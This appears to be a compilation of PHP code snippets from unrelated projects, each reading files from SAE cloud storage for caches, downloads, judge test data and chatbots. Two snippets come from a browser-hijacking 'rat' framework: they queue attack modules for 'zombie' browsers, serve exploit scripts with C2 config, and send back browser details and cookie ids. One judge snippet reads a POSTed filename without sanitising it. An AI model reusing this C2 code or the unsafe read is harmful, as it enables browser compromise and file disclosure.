function printTestCases($pid, $OJ_DATA) { if (strstr($OJ_DATA, "saestor:")) { // echo "<debug>$pid</debug>"; $store = new SaeStorage(); $ret = $store->getList("data", "{$pid}", 100, 0); foreach ($ret as $file) { // echo "<debug>$file</debug>"; if (!strstr($file, "sae-dir-tag")) { $pinfo = pathinfo($file); if (isset($pinfo['extension']) && $pinfo['extension'] == "in" && $pinfo['basename'] != "sample.in") { $f = basename($pinfo['basename'], "." . $pinfo['extension']); $outfile = "{$pid}/" . $f . ".out"; $infile = "{$pid}/" . $f . ".in"; if ($store->fileExists("data", $infile)) { echo "<test_input><![CDATA[" . $store->read("data", $infile) . "]]></test_input>\n"; } if ($store->fileExists("data", $outfile)) { echo "<test_output><![CDATA[" . $store->read("data", $outfile) . "]]></test_output>\n"; } // break; } } } } else { $ret = ""; $pdir = opendir("{$OJ_DATA}/{$pid}/"); while ($file = readdir($pdir)) { $pinfo = pathinfo($file); if (isset($pinfo['extension']) && $pinfo['extension'] == "in" && $pinfo['basename'] != "sample.in") { $ret = basename($pinfo['basename'], "." . $pinfo['extension']); $outfile = "{$OJ_DATA}/{$pid}/" . $ret . ".out"; $infile = "{$OJ_DATA}/{$pid}/" . $ret . ".in"; if (file_exists($infile)) { echo "<test_input><![CDATA[" . file_get_contents($infile) . "]]></test_input>\n"; } if (file_exists($outfile)) { echo "<test_output><![CDATA[" . file_get_contents($outfile) . "]]></test_output>\n"; } // break; } } closedir($pdir); return $ret; } }
public static function getFileContent($filename) { if (OpenConfig::SAE_MODE) { $s = new SaeStorage(); $data = $s->read(OpenConfig::SAE_DOMAIN, $filename); } else { $data = file_get_contents($filename); } return $data; }
function readModule($fileName) { if ($fileName !== null) { $fileName = basename($fileName); $s = new SaeStorage(); $content = $s->fileExists(SAE_STORAGE_DOMAIN, SAE_MODULES . "/" . $fileName) ? $s->read(SAE_STORAGE_DOMAIN, SAE_MODULES . "/" . $fileName) . "\n" : "Module File Not Found!"; return htmlspecialchars($content, ENT_QUOTES); } else { return "Module File Not Found!"; } }
public function __construct($ACCESS_TOKEN) { if (isset($_SERVER["HTTP_APPNAME"])) { $storage = new SaeStorage(); $domain = "xycn"; $filename = "menu.json"; $this->menu = $storage->read($domain, $filename); } else { //LOCAL $this->menu = file_get_contents("menu.json"); } $this->MENU_CREATE_URL = "https://api.weixin.qq.com/cgi-bin/menu/create?access_token=" . $ACCESS_TOKEN; $this->MENU_GET_URL = "https://api.weixin.qq.com/cgi-bin/menu/get?access_token=" . $ACCESS_TOKEN; $this->MENU_DELETE_URL = "https://api.weixin.qq.com/cgi-bin/menu/delete?access_token=" . $ACCESS_TOKEN; }
function get() { $fileid = $this->input->get('fileid'); if (!$this->utility->chk_id($fileid)) { $this->json->output(array('success' => false, 'm' => '输入的记录编号错误')); } $file = $this->Proj_model->get_upload_by_id($fileid); if (!empty($file)) { $s = new SaeStorage(SAE_ACCESSKEY, SAE_SECRETKEY); $content = $s->read('upload', $file[0]->filename); header('Content-type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . urlencode($file[0]->filename) . '";'); // exit($content); } }
function s_read($path) { if (file_exists($path)) { return file_get_contents($path); } else { if (IS_SAE) { if (s_file_exists($path)) { $_s = new SaeStorage(); $_f = _s_get_path($path); return $_s->read($_f['domain'], $_f['filename']); } } else { } } return false; }
function SaeStorageAppend($FilePath, $AppendContent) { $storage = new SaeStorage(); $domain = Sae_Storage_Domain_Name; $result = $storage->read($domain, $FilePath); if ($result === false) { return false; } $FileContent = $result . $AppendContent; $size = -1; //长度限制 //$attr = array('encoding'=>'gzip');//文件属性(gzip压缩) //$compress = true;//文件是否gzip压缩 $attr = array(); $compress = false; $result = $storage->write($domain, $FilePath, $FileContent, $size, $attr, $compress); return $result; }
public function file($path) { if (!IS_SAE) { return; } $this->load->helper('url'); $file = uri_string(); if (substr($file, 0, 1) == '/') { $file = substr($file, 1); } $storage = new SaeStorage(); $s_index = strpos($file, '/'); $_f = array('domain' => substr($file, 0, $s_index), 'filename' => substr($file, $s_index + 1)); if ($storage->fileExists($_f['domain'], $_f['filename'])) { header('Content-Type:image/jpeg'); echo $storage->read($_f['domain'], $_f['filename']); } else { set_status_header(404); } }
if ($mysqli = $db->openDB()) { $pmd = new ProjectModuleData($mysqli, $log); $attackData = new AttackData($mysqli, $log); //更新客户端状态 if (!$pmd->updateStatus($pmd_id, $stat)) { $log->error("update zombie status failed!"); } //发送攻击模块 (队列形式发送) 先进先出 //更新攻击模块队列的状态 若超时,则判定攻击失败 默认15s超时 $attackData->updateAttackStatus($pmd_id, 15); $attack = $attackData->fetchModuleToAttack($pmd_id); if ($attack) { $attackData->setStatus($attack['id'], 2); //读取脚本文件 $s = new SaeStorage(); $content = $s->fileExists(SAE_STORAGE_DOMAIN, SAE_MODULES . "/" . basename($attack['m_path'])) ? $s->read(SAE_STORAGE_DOMAIN, SAE_MODULES . "/" . basename($attack['m_path'])) . "\n" : ""; //基本配置 $end_script = "rat.net.config = { protocol:\"" . get_protocol() . "\"," . "port:" . get_port() . ",host:\"" . get_host() . "\",api_path:\"" . get_page_path() . "\"," . "interval:3000,ticket:\"" . htmlspecialchars($ticket) . "\",pmd_id:\"" . $pmd_id . "\",a_id:\"" . $attack['id'] . "\"};\n"; //继承module类 //$end_script .= "rat.extend(true,rat.module.".$attack['m_name'].",rat.module);\n"; //加载攻击配置 if (!empty($attack["config"]) || trim($attack["config"]) != "") { $end_script .= "rat.module." . $attack['m_name'] . ".init(" . $attack["config"] . ");\n"; } //执行攻击 $end_script .= "rat.module." . $attack['m_name'] . ".exploit();\n"; $res = $content . $end_script; } $db->closeDB(); } else { $log->error("Open database connection failed!");
/** * 获取实际文件数据 * * @access public * @param array $content * @return string */ public static function attachmentDataHandle(array $content) { $stor = new SaeStorage(); $options = Typecho_Widget::widget('Widget_Options'); $SaeStorageDomain = $options->plugin('SaeUpload')->saestoragedomain; return $stor->read($SaeStorageDomain, $content['attachment']->path); }
public function attach_get() { $itemid = $this->input->get('itemid'); if (!$this->utility->chk_id($itemid)) { $this->json->output(array('success' => false, 'm' => '输入的记录编号错误')); } $file_info = $this->Reminder_model->get_by_id($itemid); if (!empty($file_info)) { $s = new SaeStorage(SAE_ACCESSKEY, SAE_SECRETKEY); $content = $s->read('order', $file_info->store_attachment); header('Content-type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . urlencode($file_info->attachment) . '";'); // exit($content); } }
/** * Update/serve a cached file * * @access public * @return void */ function _display_cache(&$CFG, &$URI) { $cache_domain = $CFG->item('cache_path'); $cache_method = $CFG->item('cache_method'); //---change---// // if ( $cache_domain == ''){ return FALSE;} // Build the file path. The file name is an MD5 hash of the full URI $uri = $CFG->item('base_url') . $CFG->item('index_page') . $URI->uri_string; $cache_file_name = md5($uri); $cache_file = null; if ($cache_method == "storage") { $storage = new SaeStorage(); $cache_file = $storage->read($cache_domain, $cache_file_name); } else { if ($cache_method == "memcache") { $mmc = memcache_init(); if ($mmc != FALSE) { $cache_file = memcache_get($mmc, $cache_file_name); if (!$cache_file) { return FALSE; } } else { return FALSE; } } else { return FALSE; } } if ($cache_file == null) { return FALSE; } // Strip out the embedded timestamp if (!preg_match("/(\\d+TS--->)/", $cache_file, $match)) { return FALSE; } // Has the file expired? If so we'll delete it. if (time() >= trim(str_replace('TS--->', '', $match['1']))) { if ($cache_method == "storage") { $storage->delete($cache_domain, $cache_file_name); } else { if ($cache_method == "memcache") { $mmc = memcache_init(); if ($mmc != FALSE) { memcache_delete($mmc, $cache_file_name); } } } log_message('debug', "Cache file has expired. File deleted"); return FALSE; } $this->_display(str_replace($match['0'], '', $cache_file)); log_message('debug', "Cache file is current. Sending it to browser."); return TRUE; }
while (($file = readdir($dir)) != "") { if (!is_dir($file)) { $file = pathinfo($file); $file = $file['basename']; echo "{$file}\n"; } } closedir($dir); } } else { if (isset($_POST['gettestdata'])) { $file = $_POST['filename']; if ($OJ_SAE) { $store = new SaeStorage(); if ($store->fileExists("data", $file)) { echo $store->read("data", $file); } } else { echo file_get_contents($OJ_DATA . '/' . $file); } } else { if (isset($_POST['gettestdatadate'])) { $file = $_POST['filename']; echo filemtime($OJ_DATA . '/' . $file); } else { ?> <form action='problem_judge.php' method=post> <b>HTTP Judge:</b><br /> sid:<input type=text size=10 name="sid" value=1244><br /> pid:<input type=text size=10 name="pid" value=1000><br />
static function upload_topic($pic_name, $change = 0, $oldpic = null) { define('DOMAIN', 'upload'); //要上传的storage名称定义 $temp = 'temp'; $s = new SaeStorage(); $poc = array('_big.jpg', '_midde.jpg', '_small.jpg', '.jpg'); foreach ($poc as $p) { $pic = $pic_name . $p; $img = $s->read($temp, $pic); if ($s->write(DOMAIN, $pic, $img) == false) { echo "图片写入失败!请重新上传,如果还是失败请联系客服!但是不要放弃对咱们原创的希望"; var_dump($s->errno(), $s->errmsg()); } unset($pic); unset($pics); unset($img); } self::delete_topic($pic_name); if ($change == 1) { self::delete_topic($oldpic, 'jpg', 'upload'); } unset($s); return 1; }
if ($domain != 'USE_KVDB') { $s = new SaeStorage(); if ($s->fileExists($domain, $file)) { //获取文件后缀名 $info = pathinfo($file); //如果后缀获取失败则默认为jpg if (empty($info['extension'])) { $info['extension'] = 'jpg'; } //输出文件头 $header = file_header($info['extension']); header("{$header}"); //cache header("Cache-Control:public,max-age={$maxage}"); ob_start('ob_gzhandler'); echo $s->read($domain, $file); } else { header("HTTP/1.1 404 Not Found"); //exit(); } } else { //use KVDB //去除第一个"/" //echo 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING']."\n"; //var_dump($file);exit(); $file = substr($file, 1, strlen($file) - 1); if (file_exists('saekv://' . $file)) { //获取文件后缀名 $info = pathinfo($file); //如果后缀获取失败则默认为jpg if (empty($info['extension'])) {
function file_get($filename) { if (IS_SAE) { $arr = explode('/', ltrim($filename, './')); $domain = array_shift($arr); $filePath = implode('/', $arr); $s = new SaeStorage(); return $s->read($domain, $filePath); } else { return file_get_contents($filename); } }
function s_read($filepath) { $_s = new SaeStorage(); //初始化Storage对象 $_f = _s_get_path($filepath); return $_s->read($_f['domain'], $_f['filename']); }
/** * 文件内容读取 * @param string $filename 文件名 * @param string $type 其他参数 * @return bool */ function file_read($filename, $type = '') { switch (strtoupper(C('FILE_UPLOAD_TYPE'))) { case 'SAE': $arr = explode('/', ltrim($filename, './')); $domain = array_shift($arr); $filePath = implode('/', $arr); $s = new SaeStorage(); return $s->read($domain, $filePath); break; case 'FTP': $storage = new \Common\Plugin\Ftp(); return $storage->read($filename); break; default: return \Think\Storage::read($filename, $type); } }
/** * 文件内容读取 * @param string $filename 文件名 * @return boolean */ function file_read($filename, $type = '') { switch (STORAGE_TYPE) { case 'Sae': $arr = explode('/', ltrim($filename, './')); $domain = array_shift($arr); $filePath = implode('/', $arr); $s = new SaeStorage(); return $s->read($domain, $filePath); break; default: return \Think\Storage::read($filename, $type); } }
function simsimi($word) { $s = new SaeStorage(); $key = $s->read('simsimi', 'simi.txt'); $simsimi_api_url = 'http://sandbox.api.simsimi.com/request.p?key=' . $key . '&lc=ch&ft=0.0&text=' . $word; $simjson = file_get_contents($simsimi_api_url); $simsimi = json_decode($simjson, 1); switch ($simsimi['result']) { case '100': $backws = $simsimi['response']; break; case '400': $backws = '400-' . $simsimi['msg']; break; case '401': $backws = '401-' . $simsimi['msg'] . "\n" . '小u is sleeping now.请不要吵醒我!'; break; case '404': if (preg_match('/。。/i', $word)) { $backws = '(*^__^*) 嘻嘻……' . '/:B-)'; } else { $backws = '404'; } break; case '500': $backws = '500-' . $simsimi['msg'] . "\n" . '服务器出问题,小u表示无能为力。'; break; default: $backws = '404'; break; } $backws = str_replace(array('贱鸡', '小黄鸡', '黄鸡', 'xhjchat'), array('小u', '小u', '小u', 'urinx'), $backws); if (preg_match('/微信/i', $backws)) { $backws = '该消息被防火长城,不对。。是被小u消音了,原因你懂的。。保护你的身体,有爱你的健康' . '/:B-)'; $backws .= "\n如果你发现有害身心健康的信息,请及时截图报告小u,小u全力进行封杀。"; } return $backws; }
function get() { $fileid = $this->input->get('fileid'); if (!empty($fileid)) { $file_list = $this->Library_model->get_upload_by_id($fileid, 'normal'); //echo $file_list[0].$store_filename; if (!count($file_list) == 1) { $this->json->output(array('success' => false, 'm' => '文件读取错误,请联系管理员')); } if ($file_list[0]->is_delete == 1 && !$this->utility->is_library_admin() && !($this->utility->is_library_manage() && $file_list[0]->creator == element('realname', $this->CI->session->userdata('user')))) { $this->json->output(array('success' => false, 'm' => '文件访问错误,请联系管理员')); } $s = new SaeStorage(SAE_ACCESSKEY, SAE_SECRETKEY); $content = $s->read('library', $file_list[0]->store_filename); header('Content-type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . urlencode($file_list[0]->filename) . '";'); // exit($content); } }
function sp_file_read($file) { if (sp_is_sae()) { $s = new SaeStorage(); $arr = explode('/', ltrim($file, './')); $domain = array_shift($arr); $save_path = implode('/', $arr); return $s->read($domain, $save_path); } else { file_get_contents($file); } }
/** * * {@inheritDoc} * @see \Illuminate\Contracts\Filesystem\Filesystem::get() */ public function get($path) { list($domain, $path) = $this->parser($path); return $this->storage->read($domain, $path); }
public function storage() { $s = new SaeStorage(); $s->write('Public', 'example/thebook', 'bookcontent'); //写入文件 $ret = $s->read('Public', 'example/thebook'); //读取文件 dump($ret); $ret = $s->getUrl('Public', 'example/thebook'); //获得地址 dump($ret); }
} } rat.regCmp('rat.module'); <?php require_once "bin/Path.php"; require_once "bin/util/util.php"; require_once PHP_BASE_DIR . "/db/MySQL.php"; require_once PHP_BASE_DIR . "/entity/ProjectModule.php"; $db = new MySQL($log); $mysqli = $db->openDB(); $projectModule = new ProjectModule($mysqli, $log); try { if ($projectModule->getProjectModulesByTicket($ticket)) { $s = new SaeStorage(); $content = $s->fileExists(SAE_STORAGE_DOMAIN, SAE_MODULES . "/" . basename($projectModule->module_path)) ? $s->read(SAE_STORAGE_DOMAIN, SAE_MODULES . "/" . basename($projectModule->module_path)) . "\n" : ""; $content .= "rat.extend(true,rat.module.core,rat.module);\n"; if ($projectModule->config != null && $projectModule->config != "[]") { $content .= "rat.module.core.init(" . $projectModule->config . ");\n"; } } else { $content = "\r\nrat.module.core = {\r\n\tconfig:null,\r\n\tbrowser_details:function(){\r\n\t\tvar details = rat.browser.getDetails();\r\n\t\tdetails['rat_cookie'] = rat.session.get_rat_cookie_id();\r\n\t\tdetails['Core Module Result'] = 'Can't find the core module, use the default!';\r\n\t\tvar details_ob = \$.arrayToJSON(details);\r\n\t\tthis.sendResult(details_ob);\r\n\t},\r\n\texploit:function(){\r\n\t\tthis.browser_details();\r\n\t}\r\n\r\n};\n"; $content .= "rat.extend(true,rat.module.core,rat.module);\n"; } } catch (Exception $e) { //抛出异常 $content = "\r\nrat.module.core = {\r\n\tconfig:null,\r\n\tbrowser_details:function(){\r\n\t\tvar details = rat.browser.getDetails();\r\n\t\tdetails['rat_cookie'] = rat.session.get_rat_cookie_id();\r\n\t\tdetails['Core Module Result'] = 'Load Core Module Failed, Exception: " . $e->getMessage() . "';\r\n\t\tvar details_ob = \$.arrayToJSON(details);\r\n\t\tthis.sendResult(details_ob);\r\n\t},\r\n\texploit:function(){\r\n\t\tthis.browser_details();\r\n\t}\r\n\r\n};\n"; $content .= "rat.extend(true,rat.module.core,rat.module);\n"; } echo $content; if ($mysqli) {
/** * Retrieve a cached query * * The URI being requested will become the name of the cache sub-folder. * An MD5 hash of the SQL statement will become the cache file name * * @access public * @return string */ function read($sql) { if (!$this->check_path()) { return $this->db->cache_off(); } $segment_one = $this->CI->uri->segment(1) == FALSE ? 'default' : $this->CI->uri->segment(1); $segment_two = $this->CI->uri->segment(2) == FALSE ? 'index' : $this->CI->uri->segment(2); //---chang---// /* $filepath = $this->db->cachedir.$segment_one.'+'.$segment_two.'/'.md5($sql); if (FALSE === ($cachedata = read_file($filepath))) { return FALSE; } return unserialize($cachedata); */ $file_name = $segment_one . '-' . $segment_two . '-' . md5($sql); if ($this->db->cache_method == "storage") { $storage = new SaeStorage(); $cachedata = $storage->read($this->db->cachedir, $file_name); if ($storage->errno() != 0) { return FALSE; } return unserialize($cachedata); } else { $mmc = memcache_init(); if ($mmc) { $cachedata = memcache_get($mmc, $file_name); if (!$cachedata) { return unserialize($cachedata); } else { return false; } } else { return false; } } }
function simsimi($word) { $s = new SaeStorage(); $key = $s->read('simsimi', 'simi.txt'); $simsimi_api_url = 'http://sandbox.api.simsimi.com/request.p?key=' . $key . '&lc=ch&ft=0.0&text=' . $word; $simjson = file_get_contents($simsimi_api_url); $simsimi = json_decode($simjson, 1); if ($simsimi['result'] == '100') { $backws = $simsimi['response']; } elseif ($simsimi['result'] == '400') { $backws = '400-' . $simsimi['msg']; } elseif ($simsimi['result'] == '401') { $backws = '401-' . $simsimi['msg'] . "\n" . '看来小u的Trial-key到期了,快提醒我吧。'; } elseif ($simsimi['result'] == '404') { if (preg_match('/。。/i', $word)) { $backws = '(*^__^*) 嘻嘻……' . '/:B-)'; } else { $backws = '404-' . $simsimi['msg'] . "\n" . '这也能遇上404!!' . '/::|'; } } elseif ($simsimi['result'] == '500') { $backws = '500-' . $simsimi['msg'] . "\n" . '服务器出问题,小u表示无能为力。'; } else { $backws = '小u还不会回答这个问题的说...'; } $backws = str_replace(array('贱鸡', '小黄鸡', '黄鸡', 'xhjchat'), array('小u', '小u', '小u', 'urinx'), $backws); if (preg_match('/微信/i', $backws)) { $backws = '该消息被防火长城,不对。。是被小u消音了,原因你懂的。。保护你的身体,有爱你的健康' . '/:B-)'; $backws .= "\n如果你发现有害身心健康的信息,请及时截图报告小u,小u全力进行封杀。"; } return $backws; }